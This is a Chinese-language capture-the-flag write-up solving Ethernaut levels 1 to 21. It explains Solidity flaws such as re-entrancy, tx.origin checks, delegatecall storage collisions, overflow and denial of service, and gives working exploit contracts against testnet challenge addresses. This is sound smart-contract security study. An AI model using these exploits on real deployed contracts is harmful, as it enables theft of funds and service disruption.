# Ethernuat Write Ups 前情提要: [https://decert.me/tutorial/solidity/intro](https://decert.me/tutorial/solidity/intro) ## Level 1 Fallback Victim's Address: 0x640ba57ADbCEbaD2E472c56E190EF120C4087589 第一次操作Remix IDE,胡亂胡亂終於搞懂了...... Remix IDE 教學:[https://decert.me/tutorial/solidity/tools/remix](https://decert.me/tutorial/solidity/tools/remix) **Step 0. Start Instance** 滑到底部,開啟,交易後按下 F12 就會看到當前協議的地址 ![image](https://hackmd.io/_uploads/H1f8QV4RR.png) **Step 1. Deploy** 把題目提供的solidity腳本貼到Remix IDE創建的新文件上面: ![image](https://hackmd.io/_uploads/H109xV4CC.png) 接著compile協議,然後去 deploy & run 選擇Injected錢包、Gas Limit調一下(不然很燒燃料費,本次使用50000),最後在 At Address調整一下地址成剛剛的協議地址 ![image](https://hackmd.io/_uploads/S1PPM44RA.png) 點開底部的Contracts,原則上應該在剛剛的地址建立協議了: ![image](https://hackmd.io/_uploads/rkrS4V4CR.png) 一排按鈕就是協議裡面public可檢視的內容,可以看到一開始owner不是自己~ ![image](https://hackmd.io/_uploads/SypFNEV00.png) **Step 2. Exploit** 任務: 1. 變成owner 2. 把錢提走 **Source Code** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback { mapping(address => uint256) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint256) { return contributions[msg.sender]; } function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); } receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } } ``` 觀察`contribute`,在contribution大小超過原本的owner時就可以成為新的owner,而`withdraw`方法做的事情就是透過onlyOnwer確認你是owner後就把錢都往你地址轉,就完成這題了! Exploit: contribute -> owner(確認自己是owner) -> withdraw P.S. contribute 1 wei的方法 ![image](https://hackmd.io/_uploads/S19p_V4RC.png) ## Level 2 Fallout 任務: 1. 變成owner **Source Code** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "openzeppelin-contracts-06/math/SafeMath.sol"; contract Fallout { using SafeMath for uint256; mapping(address => uint256) allocations; address payable public owner; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint256) { return allocations[allocator]; } } ``` 發現constructor函數外露,直接去請求Fal1out就變成owner了 ## Level 3 Coin Flip Victim's Address: 0xBC01FBc340C413293489418b0A0c9A0C54336Ab9 題目要求: 1. 連續預測正確十次 **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } } ``` 首先觀察,發現每次隨機是由區塊上的狀態取hash,所以只需要部署一個服務在相同的鏈上就可以取得相同的狀態,進而獲得當次的硬幣區塊。 **Exploit.sol** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Coinflip { function flip(bool _guess) external returns (bool); } contract FAKE_CoinFlip { Coinflip public target = Coinflip(0xBC01FBc340C413293489418b0A0c9A0C54336Ab9); uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function FAKE_flip() public{ uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; target.flip(side); } } ``` 利用建立interface的方法把預測結果送到Victim's Contract, 呼叫十次Fake_flip就結束這回合ㄌ P.S.可以自己把GAS Limit調小,打起來不會太貴 ![image](https://hackmd.io/_uploads/HkdOD6Oykl.png) ## Level 4 Telephone Victim's Address: 0xe905433025193D3CBF904601Aab36E6a82d6C591 任務: 1. 變成owner **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } } ``` 在solidity裡面,tx.origin是發起交易時會記錄在stack上面的起始位置,而msg.sender則單純看信息來源是誰,意味著使用tx.origin判斷使用者是誰是不安全的。 發起中間人攻擊 **Exploit.sol** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Telephone { function changeOwner(address _owner) external; } contract MitM { Telephone public target = Telephone(0xe905433025193D3CBF904601Aab36E6a82d6C591); function attack(address _owner) public{ target.changeOwner(_owner); } } ``` 最後Deploy出去,再attack(自己的地址)即可。 ## Level 5 Token 一個基本的Token系統,初始進入時會給你20個token 任務: 1. 讓自己的balance>20 **Source code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint256) balances; uint256 public totalSupply; constructor(uint256 _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } ``` 觀察到它使用了uint256進行資料儲存,所以儘管會檢查餘額,只要輸入像是 $2^{256} - 1$ 之類的數字就可以完成Interger Overflow的攻擊,讓餘額變成 $20+(2^{256} - 1)=21(mod 2^{256})$ ![image](https://hackmd.io/_uploads/B1Ndp6OJ1l.png) ## Level 6 Delegation 任務: 1. 變成owner 所謂的delegation,以這題而言就是可以在Delegation的合約裡調用Delegate的函數(不包含環境),而fallback函數則是被傳入空值時會調用到的函數,所以以這題而言發個空的pwn()過去Delegation合約即可。 ~~不過這題如果想過呼叫一下Delegate合約的pwn()就好(X)~~ **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } } ``` 具體利用方法為取得pwn()的Keccack-256 hash前4 bytes往Delegation送就好。 [Online Keccack-256(link)](https://emn178.github.io/online-tools/keccak_256.html) ![image](https://hackmd.io/_uploads/S1_2b0_1kx.png) ![image](https://hackmd.io/_uploads/SJS-GCOy1e.png) PWNED!! ## Level 7 Force Victim's address: 0x52C5746DA9D2Ebd076e06A3F99D3415132AA4129 一個空的合約 任務: 1. 讓他的balance>0 ?! ~~啥玩意~~ **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Force { /* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */ } ``` 在solidity裡面,如果在同一個net內,可以利用selfdestruct(addr)的方法將錢強制轉到地址addr,所以有了以下攻擊服務: ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleWallet { event Deposit(address indexed sender, uint amount); constructor() { } function deposit() public payable { require(msg.value > 0, "Must send some ether"); emit Deposit(msg.sender, msg.value); } function attack() public payable { address payable addr = payable(address(0x52C5746DA9D2Ebd076e06A3F99D3415132AA4129)); selfdestruct(addr); } } ``` 先透過deposit轉入 1 wei 的錢,再利用attack函數觸發selfdestruct即可。 ![image](https://hackmd.io/_uploads/rJFkZ1tJJl.png) ## Level 8 Vault 任務: 1. 送出正確的密碼 **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } } ``` 在solidity中,把一個變數設為private僅代表它不會被其他合約調用,不等於查不到。 尋找方法(Remix IDE console): ```js web3.eth.getStorageAt(contract.address, 1) ``` ![image](https://hackmd.io/_uploads/SyEJsgKyJe.png) 拿到ㄌXD,透過unlock函數送回去即可。 ## Level 9 King Victim's address: 0xa0E4564E6bb136c3563af930Fcd6f6ebBf8a6729 任務: 1. 讓別人無法再轉帳進來 這個合約會訂定一個prize的值,如果你想成為King,你需要轉入大於prize的一筆錢,而你可以獲取以前的prize金額(~~龐氏騙局來著~~) **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract King { address king; uint256 public prize; address public owner; constructor() payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); payable(king).transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address) { return king; } } ``` solidity裡面的transfer中,如果調用對象的地址是一個合約,那它會依序去觸發`receive -> fallback` 然而,今天如果攻擊者合約的fallback函數是壞掉的,並在一開始去轉帳佔領了目前King的身分,將會導致其他用戶無法轉帳成功並成為新的King。 **Exploit.sol** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleWallet { event Deposit(address indexed sender, uint amount); function deposit() public payable { require(msg.value > 0, "Must send some ether"); emit Deposit(msg.sender, msg.value); } function attack() public payable { address payable addr = payable(address(0xa0E4564E6bb136c3563af930Fcd6f6ebBf8a6729)); (bool success, ) = addr.call{value: 1000000000000001}(""); require(success, "Transfer failed"); } fallback() external payable{ require(false); } } ``` 一樣部署在Remix IDE,先用deposit函數幫它充值一下再透過attack轉帳到Victim那 ## Level 10 Re-entrancy Victim's address: 0x1A1D0331408f581F2566B57a2456286171d7F0a1 任務: 1. 把所有錢領走 **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "openzeppelin-contracts-06/math/SafeMath.sol"; contract Reentrance { using SafeMath for uint256; mapping(address => uint256) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint256 balance) { return balances[_who]; } function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value: _amount}(""); if (result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} } ``` **重入攻擊** (Re-entrancy Attack),如上面的程式所示,withdraw函數是先用call把錢轉入對方帳戶再確認ammount,聽起來很正常... 但今天如果轉入的帳戶地址是一個合約,並且fallback函數(承上題知識點:call進來的時候就會觸發fallback)會再次去請求Victim的withdraw?! 瞬間變成不斷卡在提款階段,導致根本沒辦法進行到amount的檢查 **Exploit.sol** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Reentrance{ function donate(address _to) external payable; function withdraw(uint _amount) external; function balanceOf(address _who) external view returns (uint balance); } contract WhaleWallet { Reentrance public victim = Reentrance(0x1A1D0331408f581F2566B57a2456286171d7F0a1); address payable public target = payable(address(0x1A1D0331408f581F2566B57a2456286171d7F0a1)); event Deposit(address indexed sender, uint amount); function deposit() public payable { require(msg.value > 0, "Must send some ether"); emit Deposit(msg.sender, msg.value); } function attack() public payable { victim.donate{value: 0.0001 ether}(address(this)); victim.withdraw(0.0001 ether); } fallback() external payable{ victim.withdraw(0.0001 ether); } } ``` ## Level 11 Elevator Victim's address: 0xcFb281781d8f9a09EE3Ba9C400bCDBF6b284f06a 目標: 1. 改變 floor 的值 2. top 是 true **Source Code** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building { function isLastFloor(uint256) external returns (bool); } contract Elevator { bool public top; uint256 public floor; function goTo(uint256 _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } } ``` 它會去調用發送地址的isLastFloor函數,如果請求結果第一次是false,floor就會被更新,然後top會變成再次請求isLastFloot的結果。 想達成任務,只需要寫一個第一次會回傳false,第二次會回傳true的函數即可~ **Exploit.sol** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Elevator { function goTo(uint256 _floor) external; } contract WhaleHouse{ uint256 public meow=0; Elevator public target = Elevator(0xcFb281781d8f9a09EE3Ba9C400bCDBF6b284f06a); function isLastFloor(uint256 floor) payable public returns(bool){ if(meow==0){ meow=1; return false; } else{ return true; } } function attack() public payable{ target.goTo(1); } } ``` deploy好按下attack,最後檢查meow是不是變成1就知道是否通關了! ## Level 12 Privacy Victim's address: 0x2b7c7D52206360eD5797bB108cD4Ee24e2Daf367 任務: 1. 拿到密碼通關 **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data; constructor(bytes32[3] memory _data) { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */ } ``` solidity儲存一格資料(slot)是256bits,編號從1開始。 所以一開始的bool locked因為後面接的是uint256的資料ID,會獨自占用一個slot,同理對於ID 接著後面三個資料flattening, denomination, awkwardness一起占用一個slot,最後就是data每項自己占用一格。 slot table: |index|contents| |---|---| |1|locked(1 bit)| |2|ID(256 bits)| |3|flattening+denomination+awkwardness*(32 bits)| |4|data[0](256 bits/32 bytes)| |5|data[1](256 bits/32 bytes)| |6|data[2](256 bits/32 bytes)| 接下來就跟Level 8的Vault一樣了,取前16bytes資料送出,結案XD `web3.eth.getStorageAt('0x2b7c7D52206360eD5797bB108cD4Ee24e2Daf367', 5)` ![image](https://hackmd.io/_uploads/SkBphWaJJl.png) ## Level 13 Gatekeeper One Victim's address: 0x7b23B267AC4CC8314a961F5575Ed8a4116cA8d5c My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C 任務: 1. 通過所有gate **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } ``` 第一個gate就是過去tx.origin的繞過,建立一個attack service再由我們錢包發起,EZ 第二個gate就是進行爆破,讓gasfee最後可以通過即可。 第三個則是要構造通過gate three函數的payload,基本上動腦想想就好ㄌ 我是構造`0xfaceb00c0000f05C`,`faceb00c`任意換成非零的東西都可以。 **Exploit.sol** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Exploit { function attack_(bytes8 _gateKey) public { for (uint256 i = 0; i < 1000; i++) { (bool result,) = address(0x7b23B267AC4CC8314a961F5575Ed8a4116cA8d5c).call{gas:i + 8191 * 4}(abi.encodeWithSignature("enter(bytes8)",_gateKey)); if (result) { break; } } } } ``` ## Level 14 Gatekeeper Two 任務: 1. 通過三個gate **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint256 x; assembly { x := extcodesize(caller()) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } ``` 第一個gate老招數,中間人 第二個gate則是solidity的特性,他會計算地址的程式大小,但solidity不會把coonstructor算入程式大小 第三個gate就是簡單拿合約取hash xor即可 **Exploit.sol** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface GatekeeperTwo{ function enter(bytes8 _gateKey) external returns (bool); } contract Exploit{ constructor(address target) { bytes8 payload = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max); GatekeeperTwo(target).enter(payload); } } ``` ## Level 15 Naught Coin 任務: 1. 把所有自己的Naught Coin Token轉走 一個繼承ERC 20的Token合約,可以參考這篇會比較清楚:[https://news.cnyes.com/news/id/4981550](https://news.cnyes.com/news/id/4981550) transfer protocol被鎖了,要等十年 **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint256 public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor(address _player) ERC20("NaughtCoin", "0x0") { player = _player; INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals())); // _totalSupply = INITIAL_SUPPLY; // _balances[player] = INITIAL_SUPPLY; _mint(player, INITIAL_SUPPLY); emit Transfer(address(0), player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) public override lockTokens returns (bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(block.timestamp > timeLock); _; } else { _; } } } ``` 因為他沒有幫transferFrom上鎖,但這在ERC20裡面依然可以轉帳 所以使用approve把自己的token領出來->transferFrom轉到instance帳號即可 P.S.記得把自己錢用balenceOf領乾淨w ```js balance = await contract.balanceOf(player).then(v => v.toString()) contract.approve(player, balance) contract.transferFrom(player, instance, balance) ``` ## Level 16 Preservation 任務: 1. 把自己變成owner Victim's address: 0x7b23B267AC4CC8314a961F5575Ed8a4116cA8d5c My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint256 storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint256 _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } // set the time for timezone 2 function setSecondTime(uint256 _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint256 storedTime; function setTime(uint256 _time) public { storedTime = _time; } } ``` **分析:** 在Solidity裡,delegatecall是以呼叫的contract的方法所帶來的結果呈現在當前的contract內,所以如果layout不同就會造成問題 在LibraryContract裡面,他的layout長這樣: |Type|Object| |---|---| |uint256|storedTime| 而在Preservation裡: |Type|Object| |---|---| |address|timeZone1Library| |address|timeZone2Library| |address|owner| |bytes4|setTimeSignature| 所以只需要在第一次呼叫的時候傳入自架合約的地址就會覆蓋掉layout裡第一個的timeZone1Library地址,最後再透過setFirstTime讓他跳來本地呼叫setTime函數,並利用layout差異把owner換掉即可。 **Exploit.sol** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Preservation { function setFirstTime(uint256 _timeStamp) external; function setSecondTime(uint256 _timeStamp) external; } contract Exploit{ address public timeZone1Library; address public timeZone2Library; address public owner; function attack (address my_addr) public{ Preservation target=Preservation(0xb9d722739372d1d73b396b26c89ad18187245B34); target.setSecondTime(uint256(uint160(my_addr))); target.setFirstTime(uint256(uint160(0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C))); } function setTime(uint256 time) public { owner=address(uint160(time)); } } ``` ## Level 17 Recovery 任務: 1. 找到合約部署去哪裡 2. 把錢轉到自己帳戶 Victim's address: 0x4934c73271203bB8B86617dC589f6Cd9006C9320 My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C 可以到 etherscan 網站上拿Victim地址去查(**記得切到Sepolia Testnet**) [https://sepolia.etherscan.io/tx/0xb136a851e93d7bef55c1a74c8509b9cddc6ccbd7d9eb1c0f69efbdc88d5215d5](https://sepolia.etherscan.io/tx/0xb136a851e93d7bef55c1a74c8509b9cddc6ccbd7d9eb1c0f69efbdc88d5215d5) ![image](https://hackmd.io/_uploads/BJ9SpNcgJe.png) 最後透過 destroy 函數把錢全部轉來自己這邊就好 P.S.題目給的合約地址就是一個部署器 :D **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Recovery { //generate tokens function generateToken(string memory _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); } } contract SimpleToken { string public name; mapping(address => uint256) public balances; // constructor constructor(string memory _name, address _creator, uint256 _initialSupply) { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens receive() external payable { balances[msg.sender] = msg.value * 10; } // allow transfers of tokens function transfer(address _to, uint256 _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender] - _amount; balances[_to] = _amount; } // clean up after ourselves function destroy(address payable _to) public { selfdestruct(_to); } } ``` ## Level 18 MagicNumber 任務: 1. 用 <=10 bytes opcode 寫一個合約只return 42 **芝士點:** 首先,一個合約的OPCODE分為Creation Code和Runtime Code,而extcodesize檢查的是Runtime Code Size。 再來,EVM OPCODE中所操作的元素都在Stack上面,先推進去就最後出來。 而執行中的資料儲存預設會在memory的0x80後開始寫。 再來是各種opcode的呼叫對照表:[https://www.evm.codes/](https://www.evm.codes/) 根據上述資訊,就可以把Runtime Code寫出來: ```opcode PUSH1 0x2a // 42 PUSH1 0x80 // memory offset MSTORE //把0x2a存到memory的0x80上,MSTORE一次是32bytes的資料 PUSH1 0x20 // size (bytes) PUSH1 0x80 // memory offset RETURN //把0x20 bytes大小,在memory 0x80上的資料回傳 ``` 再來是 Creation Code,簡單來說就是把Runtime Code return出去 ```opcode PUSH1 0x0a // Runtime Code 大小 PUSH1 0x0c // 讀取的offset(這組Creation Code是0x00~0x0b,所以從0x0c開始) PUSH1 0x00 // 寫入的offset(放Runtime Code) COPYCODE // 把0x0c開始,大小10 bytes的Runtime Code Copy到0x00上 PUSH1 0x0a // size (bytes) PUSH1 0x00 // memory offset RETURN ``` **Exploit.sol** 最後照送就好 ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface MagicNum{ function setSolver(address _solver) external; } contract Exploit{ function attack() external { /* PUSH1 0x0a PUSH1 0x0c PUSH1 0x00 COPYCODE PUSH1 0x0a PUSH1 0x00 RETURN PUSH1 0x2a PUSH1 0x80 MSTORE PUSH1 0x20 PUSH1 0x80 RETURN */ bytes memory code="\x60\x0a\x60\x0c\x60\x00\x39\x60\x0a\x60\x00\xf3\x60\x2a\x60\x80\x52\x60\x20\x60\x80\xf3"; address solver; assembly{ solver:=create(0, add(code, 0x20), mload(code)) } MagicNum(0x24705F72074419Cd0458A58C6dDC2DFEfA6B3F2a).setSolver(solver); } } ``` ## Level 19 Alien Codex 任務: 1. 把自己變成 owner Victim's address: 0xa6041A6eE07862C349Cb9497c698BCf14c6be8F0 My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import "../helpers/Ownable-05.sol"; contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function makeContact() public { contact = true; } function record(bytes32 _content) public contacted { codex.push(_content); } function retract() public contacted { codex.length--; } function revise(uint256 i, bytes32 _content) public contacted { codex[i] = _content; } } ``` 上github看一下就會知道Owner合約就是一個定義了owner, owner group等資訊的庫,沒什麼可以下手的點 🤔 再來,`bytes32[]`在solidity裡是一個動態的陣列,它在slot的位置會是儲存它資料大小的變數的位置取keccak256 hash後的數,而slot的大小最多就是$2^{256}-1$個。 利用合約裡面的record功能就能知道它在`slot[1]`的位置,而0上面就是一個bool以及owner的資訊 layout一下: |slot index|Type|Object| |---|---|---| |0|bool, address|contact, owner| |1|uint256|len(codex)| |...|...|...| |keccak256(1)|bytes32|codex[0]| |keccak256(1)+1|bytes32|codex[1]| |...|...|...| |$2^{256}-1$|bytes32|codex[$2^{256}-1$-keccak256(1)]| 然而,在solidity 0.8.0 以前都不會做overflow的檢查,這也意味者去存取`codex[$2^{256}-1$-keccak256(1)]`上的資料就會覆蓋回去slot[0]的資料! 最後按照這個思路寫exploit就好ㄌ **Exploit.sol** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface AlienCodex{ function makeContact() external; function record(bytes32 _content) external; function retract() external; function revise(uint256 i, bytes32 _content) external; } contract Exploit{ function attack() public{ AlienCodex target = AlienCodex(0xa6041A6eE07862C349Cb9497c698BCf14c6be8F0); target.makeContact(); target.retract(); uint256 id=((2 ** 256) - 1) - uint256(keccak256(abi.encode(1))) + 1; target.revise(id, bytes32(uint256(uint160(0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C)))); } } ``` ## Level 20 Denial 任務: 1. 阻斷合約服務 **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Denial { address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = address(0xA9E); uint256 timeLastWithdrawn; mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint256 amountToSend = address(this).balance / 100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call{value: amountToSend}(""); payable(owner).transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = block.timestamp; withdrawPartnerBalances[partner] += amountToSend; } // allow deposit of funds receive() external payable {} // convenience function function contractBalance() public view returns (uint256) { return address(this).balance; } } ``` 很簡單,他withdraw裡面的partner.call雖然不會去管回傳是true還是false,但想阻斷服務只要寫個receive函數是死的while迴圈即可XDD **Exploit.sol** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Exploit{ fallback() external payable{ while(true){} } } ``` ## Level 21 Shop 任務: 1. 把合約的price改低 **Source Code:** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Buyer { function price() external view returns (uint256); } contract Shop { uint256 public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price() >= price && !isSold) { isSold = true; price = _buyer.price(); } } } ``` 在solidity的view函數裡,不可以進行會改變內部變數的行為或調用非view, pure的函數。 但這題可以利用victim合約裡的isSold變數進行繞過,進而再次進行請求 **Exploit.sol** ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Shop { function isSold() external view returns (bool); function buy() external; } contract Buyer{ Shop target=Shop(0x8593Fdcb20E14E6c2707209299979435e25f7B7C); function price() public view returns (uint256){ if (target.isSold()) return 99; else return 101; } function attack() public{ target.buy(); } } ```